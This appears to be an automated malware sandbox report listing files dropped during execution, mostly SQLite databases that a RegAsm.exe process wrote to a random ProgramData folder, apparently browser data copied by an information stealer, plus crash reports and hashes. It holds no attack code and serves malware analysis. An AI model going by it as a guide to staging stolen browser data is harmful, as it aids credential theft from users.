SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\DHCFID

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\DHCGID

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\EBGIEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8467337400211222
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOiICtj+tCXq4E1:TeAFawNLopFgU10XJBO+tq0qj
MD5:	7A03CC0EAD0AEFF210C3E60823AAA5EC
SHA1:	8B9C99FBEC440663C71F10F70B9386C68CF0EC1D
SHA-256:	D19C0286BB552C8F121A87A8B483E4997F846F0EB586F6BAF269C352678356CF
SHA-512:	8BF799B9351399523796198E1B1160AD81E1C153148D24505AAD28143698DAF77665C26BBFB24650EB150AF8D92DD1623AE8ECB62D29C93EC3E4BB206E0C83DD
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\EGCBAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\GDHDAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\GDHDAE-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\HJDGHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03862698848467049
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxAserRNbekZ3DmVxL1HI:58r54w0VW3xWmfRFj381
MD5:	507BA3B63F5856A191688A30D7E2A93A
SHA1:	1B799649D965FF1562753A9EB9B04AC83E5D7C57
SHA-256:	10A34BE61CD43716879A320800A262D0397EA3A8596711BDAE3789B08CB38EF8
SHA-512:	7750584100A725964CAE3A95EC15116CDFE02DE94EFE545AA84933D6002C767F6D6AF9D339F257ED80BDAD233DBF3A1041AB98AB4BF8B6427B5958C66DCEB55F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\HJDGHI-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\HJEHIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9526
Entropy (8bit):	5.515924904533179
Encrypted:	false
SSDEEP:	192:efniR4oYbBp6Sp0pUhUxaXd6Y4nysZM2WklbBNBw8DUSl:hejGpCUvY4ysn7tpwx0
MD5:	4580799F1DC5720A7EC1766400E98740
SHA1:	92FD30F47EC545245B934EA492B3C64D5E609AA9
SHA-256:	57F457D69933E9E8A98C32A05EEE96171419977D45AFFA674A9761556656B9FA
SHA-512:	C0787F6584D1D26EBFD5AE59F32046CF1FF5AD1BEB1443F2FE93EB89EFA2F216CBC98E101BA3E38A2837ED9411A9DE1370E29ED96E83D8096547E53FEE964567
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "d3d72102-142d-47cc-a7b7-5b20541f2540");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696496527);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696496528);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KKJEBAAECBGD\KFIEHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\KJDGDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49323792361086954
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaY:cJhXC9lHmutpJyiRDeJ/aUKrDgnmO
MD5:	8CFC90E97A4565F1D1C173122FB43468
SHA1:	B9536A784FECB44601981C321E4074EDFCC51150
SHA-256:	B2DE620450BA5FD74C9A41B194F0148D761B891A610F851DD76EC63DF4DB7D91
SHA-512:	FF30A95D2CF44313D10E125A524675D055683DB7F8BB7F6632BAC6780C860337C8398F172EA27A0D06CF768BE375D628E7D3F8BA3864B925EC53376D37C376CE
Malicious:	false
Reputation:	unknown
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x603b5b2a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217441453477474
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:7azaNvFv8V2UW/DLzN/w4wZi
MD5:	C1D5C180CB1CB1223E016FF7AAEA0307
SHA1:	2BFFAD249B443E68575D646A986BD121657A9541
SHA-256:	F7C429D6CDED500B231F7CF3FA23F5AD1178E5A31756BE087DF356B561A4381E
SHA-512:	B8320C2D9DB0A17C17D61EF5461C9436BBF3D6E69B5944AB7C14EA2C75AFA95856E33B63B092540E49A94E956DAE55D2FC8B5968EA54BFFFB7A74674EF56EDCE
Malicious:	false
Reputation:	unknown
Preview:	`;[*... ...............X\...;...{......................p.D..........{}.."...\|..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{....................................sK."...\|..................P...."...\|...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08190995526317563
Encrypted:	false
SSDEEP:	3:V3m1KYefEXr/fgsCrZClW/t/vQ/loll+SHY/Xl+/rQLve:dyKzfkfgs3G5lAS4M
MD5:	AD631FC9955E0484367286CB7BA119B6
SHA1:	BEC7ED41EE0C6122F2DB5329FDACBC829E2D1DF5
SHA-256:	41FF27131E2E2D4802322535746329EDE55E5F5C286677A232AB4A62D3656C93
SHA-512:	D170C47DBBE981A5640587FC738A7F0DD552C94D20648F39CE9F063A6A23AE599E00593F7D8DA046DE46E80212CD7AAFE922B081D4A8E22B0A78C9395327AA63
Malicious:	false
Reputation:	unknown
Preview:	..-......................................;...{..."...\|.......{}..............{}......{}.vv_Q.....{}.................P...."...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegAsm.exe_fdaf952c6ee1f88ce61d4ef9ce9cd9371241b46_53670341_f3b04109-ee8e-499e-9aa0-d4d311b54cd2\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7982135926600462
Encrypted:	false
SSDEEP:	192:BCXPeFy/l+t0NXffjezqzuiFlZ24IO8Z:wXxl+uNXffje+zuiFlY4IO8Z
MD5:	E2684671D0F3ECC337349FED11C25727
SHA1:	0653EE2A62F9E4759A5E653E854272C0EF955ABC
SHA-256:	16822F9DAFB9B3B34BE91EA7089DA228CFAC8F71655B3EFA6E12169B760AA389
SHA-512:	3225D194C2B6D0D9006D12DA1F0C23A9B04F436760B86F7420346D202DAB1EB159108C8A74E6925F242678160D367DA892137AC78E07499649C865166DA59F66
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.3.9.2.0.4.7.9.8.1.6.0.3.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.3.9.2.0.5.2.6.5.5.8.1.5.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.3.b.0.4.1.0.9.-.e.e.8.e.-.4.9.9.e.-.9.a.a.0.-.d.4.d.3.1.1.b.5.4.c.d.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.a.e.8.0.7.8.4.-.2.e.b.a.-.4.f.f.1.-.a.e.8.6.-.b.b.3.1.e.8.9.5.a.2.8.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.e.g.A.s.m...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.e.g.A.s.m...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.6.a.c.-.0.0.0.1.-.0.0.1.4.-.f.4.3.d.-.0.b.2.a.1.a.0.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.2.3.0.a.b.5.5.5.9.e.8.0.6.5.7.4.d.2.6.b.4.c.2.0.8.4.7.c.3.6.8.e.d.5.5.4.8.3.b.0.!.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_aFBKY19rLrQU72E1_fc105471cef84487b44080df0205da33d536d30_4ec521f5_611fbc71-65ee-48c1-a334-dece158e2bc3\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8875203799715151
Encrypted:	false
SSDEEP:	96:XZFMqOKCH0bzMldvxKb3UQXIDcQvc6QcEVcw3cE/j0u0a+BHUHZ0ownOgHkEwH3P:p6gCfs0BU/HviaGgzuiFlZ24IO8+oi0
MD5:	EBE264F828FAAC6949D753809559C18A
SHA1:	E6FC5BD00AF88A4B0CC487E6259F0392160CA3A9
SHA-256:	FFAA2C719E8DAD985287AD670C27E909F729DE62EEFD77485FB6A692C817D544
SHA-512:	60F46CCA43970E9DE2BE1086A4AA6110F79CFDA062A898C54F2CA3620BAA1DA5F7C6D20E90F230428699C54DF2A4466721CDF634D445EAC24869CB06E4281D5C
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.3.9.2.0.4.6.4.1.2.1.3.3.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.3.9.2.0.5.1.8.6.8.4.6.8.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.1.1.f.b.c.7.1.-.6.5.e.e.-.4.8.c.1.-.a.3.3.4.-.d.e.c.e.1.5.8.e.2.b.c.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.5.3.5.2.d.b.e.-.5.1.c.e.-.4.d.4.8.-.a.b.d.c.-.c.2.e.1.d.d.3.a.c.5.6.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.a.F.B.K.Y.1.9.r.L.r.Q.U.7.2.E.1.4.d.u.4.W.C.P.o...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.2.4.-.0.0.0.1.-.0.0.1.4.-.2.0.7.8.-.1.2.2.7.1.a.0.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.5.b.2.9.1.7.9.d.1.2.9.6.e.4.a.a.d.6.6.8.0.e.1.0.b.a.2.8.2.4.b.0.0.0.0.0.0.0.0.!.0.0.0.0.a.c.0.f.8.c.8.4.1.d.1.9.7.a.3.d.b.3.6.8.a.3.c.6.4.6.d.2.4.2.5.4.1.e.c.e.1.4.4.b.!.a.F.B.K.Y.1.9.r.L.r.Q.U.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_wg6F73wLMGz6xXFA_f2fcf5f55f35e29a9b74be3e513cbbba1e1952_0334d0b6_11a6b3d8-c999-4e35-85fe-98ee9964c048\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9035204268680191
Encrypted:	false
SSDEEP:	192:g4RAATIDop0fwFvyWy0tM/BgSghaGgzuiFKZ24IO81gR:gcAXFy6ItM/IaZzuiFKY4IO88
MD5:	B004D43F6BE5EB406AD3F7BEE4E4A3EA
SHA1:	3C1C4F1B45C71694E00317A26B92DD614834586D
SHA-256:	433A1B169CB2956BE7F9A1F68743C6CF2AB9FC743102B2E9CAC10080BB08F6EE
SHA-512:	051968A7DA4890167A5241DE47F0FFC875C9709FDDFF9CC4838078BCE1A8370C213CDE9DE9439763452E9A43A91B9E7F1838DBCD2C43C5CA20A64B5B7EFA5A1F
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.3.9.2.0.4.8.5.5.4.6.8.0.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.1.a.6.b.3.d.8.-.c.9.9.9.-.4.e.3.5.-.8.5.f.e.-.9.8.e.e.9.9.6.4.c.0.4.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.7.e.0.b.1.b.8.-.4.2.d.7.-.4.e.2.a.-.a.5.5.9.-.b.7.4.1.6.f.1.c.2.7.9.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.w.g.6.F.7.3.w.L.M.G.z.6.x.X.F.A.1.4.w._.o.l.C.U...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.V.Q.P...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.e.c.-.0.0.0.1.-.0.0.1.4.-.c.8.4.6.-.1.b.2.7.1.a.0.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.a.1.d.7.5.e.4.2.d.4.f.e.c.3.2.a.a.8.f.1.2.e.9.f.b.e.e.1.c.6.2.0.0.0.0.0.0.0.0.!.0.0.0.0.0.d.f.c.c.f.2.3.5.d.c.6.2.d.2.5.9.2.f.5.0.6.2.a.1.b.9.6.9.1.0.4.3.c.1.4.c.c.9.e.!.w.g.6.F.7.3.w.L.M.G.z.6.x.X.F.A.1.4.w._.o.l.C.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER132C.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	92078
Entropy (8bit):	3.109012259262518
Encrypted:	false
SSDEEP:	1536:vAKbV9dXLuiKqspQXZ+948z/+nv6+vvU+O+ZX2+YN+ZyI+z+6StB9w+t9+6BZE+2:vAKbV9dXLuiKqspQXZ+9Bz/+nv6+vvU9
MD5:	DD30C0450D8A157322F18151FD38F20E
SHA1:	7759EA54B62BB94D916D9FD80F7D89F4522A79D8
SHA-256:	C8D2D375B661AF0A6F011BA273B62B255C3B4A3D033EBA4C484BDFE50A80D6B0
SHA-512:	B69B0D2AC41089AB11D9E890BCEF07D3F6F6183361FE5359F5F27E58BF3ADE1DAF2063CA6A09F8860BCD606F8BBDDDF68DAACA463C972102EF82109D94702004
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14A4.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6985330085835817
Encrypted:	false
SSDEEP:	96:TiZYW36oTFhkyY8YchGZHlYEZ/YM0tdiwM2Ltwu51GHa0pvMGTwIjuz:2ZD3Wy7hV58Ha0pvMGTHjuz
MD5:	D98AEB9FC16D0711CA778A325012DC35
SHA1:	43639EE2FB757EBCFF09D519EB6FB03EA18EB92F
SHA-256:	5963BE57250A7F77B874B0A25D8DB8A8075E36CA49E160FAB0C736A7E76BBE90
SHA-512:	DC6724841FB2E7DFEC32FF9FE9C92438AD2E08D2F8D9F7803F6FFC897C0DD2221A4745DED099FF42EF6371F091366410634C4D5FFE1A46D9F1CC40DD74910E53
Malicious:	false
Reputation:	unknown
